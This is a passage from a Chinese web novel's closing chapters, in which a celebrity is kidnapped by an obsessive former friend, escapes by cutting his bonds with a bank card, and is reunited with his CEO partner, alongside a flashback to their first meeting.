刘和平很心累,“祖宗,你也不看看你有多少天没工作了?之前的剧组黄了,虽然上次官宣你掉了些粉,但国家近几年打算推出同性婚姻法,你呢,虽然踩在风口浪尖上,但也没那么严重,还不至于到退圈的地步。” “我手里头还有几个广告和综艺,你看看,要不要选一个,好歹露露脸。” 闲了很多天,江时也很无聊,“我都行,你拿来我看看。” 刘和平开车往江时家赶,一到门口,入目就是一片玉米林,这个季节正是吃嫩玉米的季节,沉甸甸地挂在枝头。 自从有了助理后,刘和平很少会来江时家,乍一看到这幅景象,他人有些恍惚。 进去了,江时正在餐厅吃饭,看见他,让阿姨添了副碗筷。 刘和平捧着碗,“你家这地没被记者发现吧?” “没。”江时低着头,眼底还带着刚睡醒的潮意,“那玉米都比人高了,站外面什么都看不见。” 也是,就这城乡结合部的样子,谁也想不到里面住着个明星和总裁。 刘和平往周围瞥了眼,“程……程总呢?” “程野啊?上班去了。” 话音刚落,门口就传来停车的声音,没几分钟,穿着西装的程野推开门。 他袖口上的宝石闪了刘和平的眼睛一下,终于和财经报道上的照片对上号。 程野站门口换了鞋,看见刘和平跟他问了声好,“刘哥。” 如果是以前,刘和平还能丝毫不心虚地应下这声称呼,但现在…… 他沧桑的老脸刚挤出一个笑,程野就转头去厨房里给自己舀了一海碗饭。米饭冒着尖尖,夹着一筷子菜,哗啦几口就没了五分之一。 刘和平看得目瞪口呆。 不是……这跟电视里演的不一样啊。 江时中午就没吃饭,程野不让他等他,刘和平来的时候就已经吃了一半,碗里还剩三分之一实在吃不下了,习惯性地往程野那边推。 程野便把他碗里的剩饭扒拉到自己碗里,端着个大碗,把刘和平跟前唯一一块红烧肉给夹了。 江时问他:“你今天怎么回来得这么早?” 程野回他:“本来有个宴会,陈朗说入会的要求是至少要花二十万,一瓶酸不酸甜不甜的酒卖八万,傻子才会买,我没去。” 他从西装兜里掏出来一个盒子,“给你买了个胸针,下次走红毯的时候戴,好看。” 江时没着急看盒子里的胸针长什么样,而是问程野,“那你不去没影响吗?” “能有什么影响?”在刘和平愣神的功夫,桌子上的排骨也没有了,“本来是他们求着我去,非得找个要花钱的地方,我没钱去不了难道是我的问题?” 刘和平回神,虾也没有了。 江时打开盒子,他瞄了眼。那胸针他认识,限量款,七八十万。 那边江时举着胸针看了看,“挺好看,多少钱?” “不贵,你要是喜欢以后多买两个给你放着玩。” 刘和平:“……” 程野一抹嘴,“刘哥,我吃完了,你慢慢吃。” 刘和平拿着筷子和桌子上唯一一盘小青菜干瞪眼。 服了。 这么多年来,他没发现程野是个霸总,真的不是他的问题。 哪有霸总当成这样的? 江时最后选了个饮料的代言,后天拍摄。 刘和平靠着一碗青菜吃饱了肚子,木着脸跟江时告别,“毕竟是风波后的第一个活动,我跟着你一起去,后天早上六点记得起床。” 程野换了身衣服,拉着水管站院子里给小白菜浇水,看见刘和平准备走了,他主动道:“刘哥,要吃玉米吗?” 刘和平扭头朝旁边的玉米看去,绿油油,饱满又圆润,还是自己种的,说不心动那是假的。 “程总……这多不好意思……” “没什么不好意思的。”程野道:“我自己种的,没打过农药,绝对天然健康,江时这么挑嘴的人,每天早上都能吃一根。” 他越说刘和平越心动。 程野掰下来一个,撕开叶子给刘和平看里面饱满的玉米粒,“要来点吗?” 刘和平依旧搓手,“这不太好……” 程野说:“看你是熟人的份上,我不坑你,十块钱三斤。” 刘和平嘴角的笑容僵在脸上,“什……什么?” 程野不知道从哪里找出一个黄色的塑料袋,没几下就掰了好几个玉米装在袋子里。他掂了掂,“差不多六斤的样子,就算你六斤好了。” 刘和平看着一袋子玉米,沉默。 他用一种无法言说的心情接过袋子,伸手去摸手机,然后发现关机了。他掏了掏兜,从里面掏出五十,他把那五十放在签个字分分钟能创造上百万收益的手里。 “不用找了。” 程野咻地一下把钱就收了。 “刘哥,我送你上车。” 想了想,又多掰了两个玉米放刘和平的后座。 见刘和平上车了,程野道:“听说你家在榕湖路那边?” 刘和平“嗯”了一声,说了个小区的名字。 “那挺巧。”程野道:“我认识一个卖菜的,就在旁边那个小区,你走过去的话就几分钟,她家的菜挺新鲜的,价格也很公道,如果以后嫂子买菜的话,可以考虑考虑。” 说着,他递了张名片给刘和平。 刘和平拿起来一看。 嚯! 江氏生鲜。 好大的产业。 第108章 江时抱着手臂斜倚在门上看着程野拿着五十块回来。 “这种事也只有你干得出来。” 程野把五十块塞他手里,“你还给玉米浇过水,辛辛苦苦种大的东西,哪能免费给别人?” 江时捏了把钱,又笑,“就我妈那二十平的小菜摊,你也好意思推销给他?她看短视频看多了,非要取个江氏生鲜,你也不管,背着我把牌子都挂上了。” 程野又拎着水管接着浇水,“挺大气的,干嘛要管?” “不知道的还以为整个江城的菜都是我家在卖呢。” 江雪现在的首要任务根本不是把江氏生鲜发扬光大,而是把短视频软件给卸载了。 一晃眼就到了要上班的日子,一大早江时就被程野从床上捞起来。刷牙、洗脸、换衣服,等他睁眼回神的时候已经坐在桌子上准备吃早餐了。 程野也要去上班,西装革履地坐江时身边给他剥茶叶蛋,见江时回神,把刚出锅的小馄饨往他跟前推了推,“刘和平说他和高新和已经在路上了,差不多还有二十分钟到,你吃完早餐时间刚好。” 天天睡懒觉,骤然早起,江时感觉眼睛皮在上下打架。他吸溜了口馄饨,“不想上班……” 程野听了比谁都高兴,“那你立马拿手机发个微博说你要退圈。” 江时:“……” 江时硬生生给他气醒了。 他吃完馄饨,又吃了个鸡蛋,扶着程野的腰站在玄关换鞋。 西装布料挺阔,口袋里硬硬的触感硌了江时一下,他捏了捏,“什么东西?” 程野把他的手放到自己肩上,伸手从口袋里掏出一张卡来,黑色的底色,鎏金的纹路,传说中的黑卡。 “一张卡。” 他低头看去,青年穿了条牛仔裤,正扶着他弯腰穿鞋,腰肢塌陷进去,臀部凸显出来,又圆又翘。 于是程野便把那张卡塞进江时屁股后面的口袋里,抬手揉了把,“给你了,包养费……” 江时莫名其妙抬起头,伸手正要往后面摸,刘和平在门口按喇叭,“江时,走了,不然就赶不上高铁了。” 他只得放下手,匆匆上了车。 广告拍摄在隔壁市,高铁一个小时左右。最近赶上雨季,哪里都在下雨,隔壁市也在下,室外拍摄只能改成室内。 外面在布置场地,江时在里面化妆,刘和平拿着手机在翻天气预报,“这边的雨下了快三四天了,发了好多条防汛通知,而且看这天气预报,后面还要接着下。” 高新和蹲在一边,“没事,他这个一天就拍好了,拍完我们就回去。” 他说得也是,刘和平就没再管,收了手机专心等着拍摄。 还好整个过程没出现什么意外,可能因为外面雨太大,连个记者也没有。江时就这样顺顺利利完成了拍摄,拍完后都晚上十一点了,他们便打算在这边睡一晚再走。 酒店是广告商定的,三人的房间挨在一起,江时在中间。 他回去的第一件事就是跟程野打电话,这个点对方估计在洗澡,没接通,江时也找了件衣服准备去洗澡。 他刚从行李箱翻出换洗的衣服,门就被敲响了。 江时以为是刘和平或者高新和,直接就开了门,没想到外面站着个小女孩。 小女孩看见他也愣了愣,呆呆地喊了声,“妈妈……” 江时笑了,“小朋友,你看我这个样子是你妈妈吗?” 小女孩扒着江时往里看,里面空荡荡的,她有点疑惑,“妈妈呢?” 江时问她,“你妈妈住哪里?” 小女孩说:“1203” 江时抬头,旁边写着“1303”。 “你走错了。”他道:“你妈妈在楼下,不在这里。” 小女孩也不知道听懂了没,呆呆应了声,转身就走。 江时看得有些头疼,“你等等,我送你下去。” 想着就一层楼的距离,他没带手机,也没关门,就这么牵着小女孩下了楼。 他把人送到1203门口,抬手敲了下门,开门的是个中年妇女,看见江时时愣了下,然后才发现他手里牵着的小女孩。 她一把拽过小女孩,“你去哪里了?担心死我了。” 小女孩怯怯地,“是哥哥带我来的。” 女人脸上这才挤出一个笑来,“刚刚多谢你,我好像在电视上看过你的脸。” 江时道:“他们都说我长得像明星,既然人送到了,我就先走了。” “哎……”女人拉住他,“这怎么行呢,你等等,我给你个水果。” 江时站在门口张嘴想拒绝,女人又道:“先生不用不好意思的,屋子里没什么的,你进来坐一坐,喝杯水歇歇。” 江时看着跟前半掩着的门,往后退了一步,“不了,我朋友还在等我上去吃饭呢,我就先走了。” 就这一句话的功夫,女人拿着瓶饮料和个苹果出来,“那东西你拿着,不然我都不好意思了。” 江时下意识不太想跟女人纠缠,就伸手去接她手里的东西,结果刚碰到饮料,跟前的女人忽然变了个眼神,一把抓住江时的手,猛地一下把他拽进了屋子。 后脑勺传来闷痛,他眼前一黑,顿时什么都不知道了- 雨声,风声,雷电的轰鸣…… 江时最先恢复的是嗅觉,他闻到了雨水的潮湿和泥土的芬芳,然后是听觉,雨砸下时的噼啪声,以及沉闷的雷声。 烟味飘进他鼻腔,他睁开眼,头顶是挂着蜘蛛网的破败楼顶,没有灯,只亮着手电筒。 忽然一只手捏住他的下巴,迫使他转了个方向。 霍寂咬着烟,浑身半湿,头发湿漉漉地贴在脸上,肤色苍白,像从地底下爬出来的水鬼。 他张嘴往江时脸上吐了口烟,“惊不惊喜?” 江时猝不及防被呛了口,偏头咳了好几声,“你想干什么?” “我能干什么呢?”霍寂捏着他的脸,把玩物件一样端着他的下巴,“这么多年不见,你还是跟以前一样好看,甚至比以前还好看,我那么喜欢你……” 他手上的力道逐渐加紧,紧到像要把盈着果肉的皮给捻破,挤出里面的汁水来。 “忘恩负义的东西,你是怎么回报我的?” “不过没关系……”霍寂吸了吸鼻子,脸上的神色有那么一刻变得有些迷茫,下一秒又恢复清醒,“我们很快就能在一起了。” 江时试着动了动,发现手被牢牢捆在背后,根本挣脱不开。 外面风雨交加,闪电滑过上空,将废弃的仓库照亮得如同白昼。 霍寂看见了他挣扎的动作,他笑了声,又给自己点了根烟,“你逃不掉的江时,之前你没逃掉,现在也不可能逃掉。再等两个小时,接应我们的船到了,我就带你去国外,这辈子都不会再回来。” “你疯了霍寂!”江时瞪大双眼,“你知不知道你在干什么?” “我知道,我怎么会不知道呢……”霍寂踩灭香烟,那张苍白的脸抽搐了下,然后猛地抬脚把一边废弃的桌子踢倒在地,“我他妈怎么不知道,我今天这样是拜谁所赐?江时,我他妈以前是怎么对你的?老子哪里亏待你了,你要这样对我?” 江时被吓得眼皮跳了下,他放缓呼吸,让自己冷静下来。他双手向下摸索,企图摸到点什么东西,嘴上说着话。 “你如今这样全是你咎由自取,我没有害你,害你的自始至终都是你自己。” 他指尖碰到屁股时顿了顿,从牛仔裤的屁兜里抽出了一张卡。很坚硬,材质也不错,只要时间够,足够他磨掉手上的绳子。 江时换了个姿势,把自己的后背完全挡起来,抬眼看着霍寂,“你别再一错再错了,现在反悔还来得及,看在曾经是朋友的份上,我不会跟警察说你去了哪里。” 霍寂弯腰看着他,“你以为我会信你?” “霍寂,我不见了,程野不会放过你的,你以为你把我带去国外,他就真的找不到?” 不提程野还好,一提程野,霍寂的脸色顿时就变了。他的脸又抽搐了下,不自觉地吸了吸鼻子,目光落在江时敞开的衣领上,透着和废弃仓库完全不相符合的细腻白嫩。 他蹲下身,看青年在他跟前扬起纤细的脖颈。细腻、脆弱,他一只手就能掌控。 霍寂伸手握了上去,他低头嗅了嗅,“没关系,走不掉我们死一起就好了。你本来就应该是我的人,程野……程野不过是半路冒出来的野狗,野狗怎么配和你在一起?” 江时身子有些发抖,他额角冒着汗,像是在忍耐什么,“霍寂,你离我远点。” 霍寂凑得更近,“害怕了?” 他的指尖一寸寸摸索过青年露出在外的那截锁骨,果不其然,上面的皮肤瞬间泛起红,比起敏感,看起来更像是过敏。 霍寂抬手死死摁住,“我摸也不行么?凭什么只有程野可以?” 江时偏头撞开他的手,“滚。” 他咬着唇,死死压抑着胃里翻涌的恶心感,霍寂却忽然一把掀翻了他。 手电筒被打翻,滚了一圈,停在江时身边,照亮他的脸。青年的身上蹭得到处都是灰,双手被束缚着,腰段显露,纤细脆弱。 霍寂把手撑在江时肩膀上,俯身看着他在自己身下逐渐呼吸急促的样子。 “真可怜啊,露出这幅样子……” 他靠着江时的耳朵,像是对待情人一样温柔呢喃,“当时你被他们欺负的时候也是这幅样子,可怜,又惹人火大。其实让他们扒你衣服是我授意的,那时候的生活多无趣,好不容易来了个头铁的,我自然想要看看你多有骨气……” “你不是不喜欢别人骂你像个女人吗?不是不喜欢别人用那种下流的眼神看你吗?那我偏偏让人那么做。” 江时的瞳孔有一瞬的失焦,屋外大雨倾盆,他仿佛被人抓住头,死死摁进冰冷的池水里,水从口鼻灌进来,呛到他喉咙生疼。 他湿漉漉地被丢在墙角,夏季单薄的衣服贴在少年身上,因为咳嗽,那张苍白的脸洇出胭脂似的红。 “我干,难怪一堆人追着他跑,长得跟个娘们似的。” “你们说,男的可不可以操?” “你们看他腰,那屁股,比女的还要细还要翘,要我说,直接把他往那巷子里一拖,伺候伺候我们,咱们心情好,说不定就放了他……” 不知道是谁的手贴上他的脸,“宋大少爷,伺候过人吗?” 难以形容的恶心感从胃里翻涌出来,江时扬手挥了过去,然后被接住。 “哟……还有力气反抗呢,留着待会叫吧。” 他被拖着到墙角,后背是冰冷坚硬的墙,不知道是谁的手蹭上他的脸。明明应该反抗的,可那时候的江时像是被冰冷的池水冻僵了灵魂,身体发出抗拒的颤抖,就连胃也反抗似的痉挛,只有手和脚,像被钉在了地上。 直到年少的霍寂出现。 而现在,刺眼的闪电照亮霍寂阴翳的双眼,他看着江时发抖的样子,像是在欣赏自己十多年前种下的胜利果实。 “骨气再硬,到头来不就那样?你当时的表情可真可怜,我像救世主一样出现在你面前,没有我,你早被那帮人玩透了。” 他捏着江时的嘴,洁白的齿里露出一点若隐若现的红,然后又死死闭上。 因为他的接触,江时的脸泛着不正常的红,就连身躯也在颤抖。 “你不对我感恩戴德也就算了,还要跟我一刀两断,我在你身上花了那么多时间和金钱,断得清吗?” 说着,神色痴狂,眼神逐渐变得迷离,就连捏着江时的手劲也不自觉加大。 “没关系,你终归还是回到了我身边,两个小时,足够做很多了。” 江时躲开他的手,他压制住狂跳的指尖,汗水濡湿双眼,又被他甩掉。 “霍寂,这么多年过去,我早就不是当初那个江时了。” 霍寂欣赏着他狼狈的姿态,“怎么不是呢?别人碰一下你,你还不是这个死样。我倒是很好奇,程野给你灌了什么迷魂汤,竟让你不怕他?” 江时倒在地上咳了好几声,用力过度,连着脖颈都蔓延着潮红,像是天边晚霞绵延的颜色。 霍寂忽然发了疯一样伸手撕扯江时的衣服。 发丝滑落在江时眼角,他的脸被地上的石子刮出好几道红痕。 霍寂瘾上来了,解个扣子哆哆嗦嗦的,面部神经因为兴奋,跳动的幅度越来越大。 江时看他,像看一个小丑。 “没人会永远困在过去,走不出来的那个不是我,是你。” 绳子在他手腕无声脱落,军训时的那个夜晚,程野握着他的手。 “打人不是这么打的,你捏住这里,然后……” 闪电划破夜空,一只带着血的手抓上霍寂的手臂,不知按到哪个穴位,他忽然痛得弯下了腰。 然后…… 嘭! 一米八几的成年人被江时掼着脖子掀翻在了地上。 他学过的唯一一招。 他飞快解开脚上的绳子,门口守着的人发出询问的声音,“霍先生,怎么了?你还好吗?” 霍寂撑着手睁开了双眼,江时来不及思考太多,抓起地上废弃的砖头朝他头上砸了过去。 鲜血布满霍寂那张苍白的脸,江时被吓了一跳,砖头丢在地上,指尖染着的濡湿不知道是自己的还是别人的。 “霍先生?霍先生?” 冷静、冷静。 江时咽了下口水,飞快在屋里扫视着,发现了对面墙上封住的木窗。 外面的人察觉到出事了。 “去拿钥匙开门。” 江时抓起地上的木棍开始翘窗,他听着门外面疯狂踹门的声音,他在心底说: 冷静、冷静、冷静…… 咔哒! 门开了,窗也开了,几个大汉冲进来,只看到青年像尾灵活的鱼从狭小的窗口跃了出去。 轰隆—— 雷声轰鸣,雨更大了。 雨水模糊江时的视线,他喉咙里像灌了炭,火辣辣的疼,脚底全是泥,走两步要摔一跤。 可他不能停,停了他也不知道会发生什么。 江时什么都看不见,只有偶尔的闪电才能让他分辨出来这是个山,到处都是树,他抓着树往前跑,身后偶尔还有手电筒的光闪烁。 不能让他们抓住…… 又是一道闪电,他看到了不远处的盘山公路,而在公路的下面,汹涌的海面亮起灯塔,警笛声破空而来。 “他在那里!” 江时回头,手电筒的光打在他脸上。 他转身就朝下面的路跑去,但太黑了,什么都看不见,一脚踩空,就这么滚了下去。 他抱住头,摔进了一个潮湿泞泥的怀里。 残缺的部件终于找到另一半,咔哒一声,灵魂发出满足的喟叹,彼此终于找到归属。 比触感更先传来的是气味,伴随他无数个日日夜夜,和他的呼吸交融,如同一张网,兜住了江时的一生。 他摊开手,鎏金的黑卡有些扭曲地躺在他手心,上面的几个数字被磨掉了漆,染着他的血迹,被雨水冲刷干净。 黑底里带着金色的暗纹,闪烁着跃动的光芒。 车灯把夜空照亮。【你现在阅读的是 】 第109章【正文完】 第109章 正文完 卖火柴的小女孩在冬夜里祈祷有人能买下她的火柴。 冷冽的风刮在脸上,玻璃橱窗照亮僵硬的脸。 于是火柴变成幻境在燃烧。 年少的程野在野棠梨下点燃了五根烟,他以为自己抓住了蝴蝶。 殊不知,蝴蝶本就为他而来。 …… 溪柳村二月的冬太冷了,透入骨髓的冷,冷得江时连灵魂也冻了起来。 他从粉馆出来,沿着来时的路回家,走了一段距离,他拉过帽子盖在头上,把手揣在兜里,又折了回去。 路灯一亮一灭,药店门口出来个高大的少年,背着背篓,身上染着香菜的味道,和掩着脸的江时擦肩而过。 江时进了那家药店,医生打着哈欠准备关门,看见门口站着个人时吓了一跳。 江时拉开帽子,露出那张精致的脸。 “再给我开点安眠药,我睡不着。” 医生认出他是谁了,他把桌子上客人喝剩的水杯收拾干净,“安眠药?我们这种小地方哪有安眠药这种东西?” 听见没有,江时戴上帽子,准备回去。 刚转身,医生又问他,“你是哪家的娃?怎么感觉没见过你。” 江时闷闷地,“江雪家的。” “难怪,听说江雪把她亲生儿子带回来,这事都传开了,没想到你就是她亲儿子。这么晚了还不回去,小心你妈担心你。” 江时走了两步,医生拉开帘子追出来,“哎……听说你们那边回去的路上有条野狗,那狗就是爱吓唬人,见了它别跑,不然肯定要追你。” 江时干巴巴地“噢”了一声。 医生又道:“有个事还得跟你说一下,刚刚有个人来我这里买了瓶农药。那孩子是你们村的,他的事我也知道,妈跑了,爹没了,他爹才死没几天,他就来我这里买农药,说是家里有老鼠,但……” 说着,医生叹了口气,“可能是我多想了吧,反正你们一个地方的,也顺路,你帮我看着点,别让他做什么傻事。” 江时踩着路灯破碎的光往回走,他想到了那个粉馆里高大的背影,又想到了药店门口擦肩而过的身影。 别人的死活,跟他有什么关系呢…… 他想。 但他还是去了,他没走大路,沿着刚刚被人踩过的小路痕迹爬到了那个三岔路口。 手机手电筒的光算不上多强,他照到了旁边明显被人踩过的草坡,上面印着新鲜的脚印,停留在一棵野棠梨树下。 江时拿着手机往上照。 冷雨扑在他脸上,棠梨的枝桠光秃秃,黑影重重,树干沉默得像块墓碑。 墓碑下亮起烟头,红得像灼烧过的心脏。 江时扫回目光,他像是迷了路,盯着三岔路口发呆。 烟味飘到他鼻尖,他冻得打了个喷嚏。 他哪是什么救世主呢,他连自己的人生都过得一团遭,他自己能不能活都是个问题,哪管得了别人的死活? 黑色羽绒服裹着少年单薄的身躯,他拿着手机站在三岔路口,眼睛里爬上一抹红,咬着唇,终于开口了。 絮絮叨叨,像是迷路了找不到路的抱怨,又像是说给某个特定的人听,说到最后,他干脆破罐子破摔。 “来个人帮帮我吧,只要能带我出去,让我干什么都行。” 没人回应他,烟味浓了又散,散了又浓。 雨更大了,像哭,又像掩埋,所有痕迹都看不见。 江时又喊了几声,依旧没人搭理他。 他想,他一个不相干的人在意什么呢?别人非要死跟他有什么关系。 他选了条路,走了。 手机电量越来越低,他回头往身后看,黑影重重,什么也看不见,连同那棵野棠梨。 耳边响起喘气的声音,江时知道,他遇到了那只野狗。 他不知道自己其实走错了路,他就这么往前走,吭哧吭哧的喘气声跟在他身后。 他离那棵树越来越远,就连染在他肩上的烟味都消失不见。 江时站在原地,手机照亮了野狗的眼睛。 他看着那双草丛里掩藏着的幽幽绿光。 忽然想到了诊所门口的匆匆一瞥,少年也有一双眼睛,幽幽的,像狼。 …… 他在心底骂了句脏话,忽然抓着手机往回跑。 血腥味从他口腔涌上来,心脏被一根线拉扯着,身后好像跟了个什么东西,他听不见,也看不见,眼里只有那棵棠梨树。 耀眼的光芒骤然亮起,他被照得晃了一下,然后…… 嘭! 钻心的疼从脚踝传来,手电筒打在江时脸上,他眯着眼睛,看到了双狼一样的眼睛。 他眼眶瞬间就红了,一巴掌拍掉手电筒,“不是,你有病吧!” 好端端的为什么想不开。 男生沉默着,身上带着未消散的烟味,肩头落着冬末的寒意,讲话时声音低沉。 “对不起。” 眼泪从江时眼底滑落。 他靠在程野背上,找他的人光亮四起,呼喊江时的叫声响满整个山坡,没有一声是为了程野。 但程野显然不在乎。 最后两人回到了那个三叉路口,野棠梨依旧沉默,枝桠舒展开,顶端冒着鼓包,只等一场暖和的风和雨。 他们抬头望着那棵树,江雪的身影从远方奔来。 那一刻,什么都没说,又像是什么都说了。 …… 霍寂问,江时为什么不怕程野? 因为那是他从树下亲手救出来的小狗- 江时醒的时候神情还有点恍惚,头顶的天花板一片雪白,仿佛棠梨花开。 他手刚一动,一只手就抓了过来。 “江时……” 江时扭头,程野胡子拉碴的坐在床边,身上就套了件皱巴巴的衬衣,上面染着泥,像是湿透了又被他的体温捂干。 或许是骤然看见光,江时有些不适应地眯了眯眼睛。 程野抬手摸了摸他眼角,又蹭了蹭他脸上贴着创可贴的地方,“身上还痛吗?有没有哪里难受?” 他不说还好,他一说,江时感觉哪哪都疼,手疼,脚疼,特别是背,一动就疼。 讲话时声音也有些哑,“我感觉我要死了……” 他一说“死”,程野脸色顿时就变了,“不会死,我也不会让你死……” 江时没注意到程野的脸色,只感受到了自己的脆皮程度,“我背怎么了?” 程野小心翼翼地把他扶起来,用枕头垫着,又给他倒了杯水。 “你从窗户跳出去的时候刮到断了一半的木板上,后背被刮了个伤口。” 他端着水送到江时嘴边,江时下意识伸手,看到了自己缠着纱布的掌心。 “……” 得。 他在心底叹了口气,就着程野的手喝了半杯水。喝完了,他忽然想起什么,伸手一把抓住程野的手,“我在霍寂头上抡了一砖头,他流了好多血,不会死了吧?” “没死。”程野眼底一片冰冷,“贱命一条,哪会这么容易死。” 江时这才看到程野狼狈的模样。 “我躺了多久?” “两天。” 也就是说,程野这幅模样在病床前面足足坐了两天。 江时用自己裹着纱布的指尖勾了勾程野,“对不起啊,让你担心了。” 程野反手握住他的手,他想碰一碰,又怕碰疼了,最后也只是低头用鼻尖很轻地蹭了下。 “说对不起的应该是我,是我没保护好你,就连你出事了,也没能第一时间找到你。” 他把头埋在江时掌心,江时看不见他的脸,只感觉到有什么温热的东西深透了纱布,烫在他伤口上。 他抬起另一只手摸了摸程野的头,“跟你没关系,是我不小心才着了他的道。你很厉害了,那么快就找到了我,要没有你接住我,我从那么高、那么黑的地方摔下去,不得青一块、紫一块的?” 程野依旧沉默。 江时便靠在床上一点一点地捋着他的头发。 背上的伤很疼,可他的心情却很轻盈。 “其实我很开心程野。” “我那时候被他们困在池子边,明明可以反抗的,可我的手脚像灌了铅一样动都动不了。说实话,我很讨厌那时候懦弱的自己,我总期待别人来救我,可我忘了,自己才是自己的救世主。” “但这次不一样,这次我终于靠自己走了出来。我摆脱的不仅是现在的困境,还有之前的困境。” “你应该为我感到高兴。” 程野红着眼抬头。 江时说:“还得谢谢程总的包养费,要没了它,我还真的跑不掉了。” 那张卡一直被程野贴身放着,江时提起,他从兜里掏了出来。 尊贵的黑卡经过多次蹂躏,已经没了当初低调奢华的模样,卡面蜷曲,坚硬的边缘被磨得全是缺口,鎏金的数字被蹭掉了金光,扭曲地在霸总手里躺着。 江时拿起卡,对着灯看了看,然后朝程野勾了勾手。 程野不明所以,但听话地凑近。 带着水汽的吻落在他眉心,青年刚醒,声音里带着没什么力气的软绵。 “这是对金主的报酬。” “别皱眉了,事情都过去了,开心点。” 笼罩在程野眉宇里的忧愁随着这个吻散开,漆黑的眼里终于展露了点笑意。 他起身拉开窗帘。 连着下了快一个星期的雨终于停了,天气放晴,天空碧蓝如洗。 今天是个好天气。 明天是。 以后也是。 【正文完】 作者有话说: 正文到此结束啦,有些内容放在番外写了,谢谢一直追更的小伙伴,评论区发一百个小红包。【你现在阅读的是 】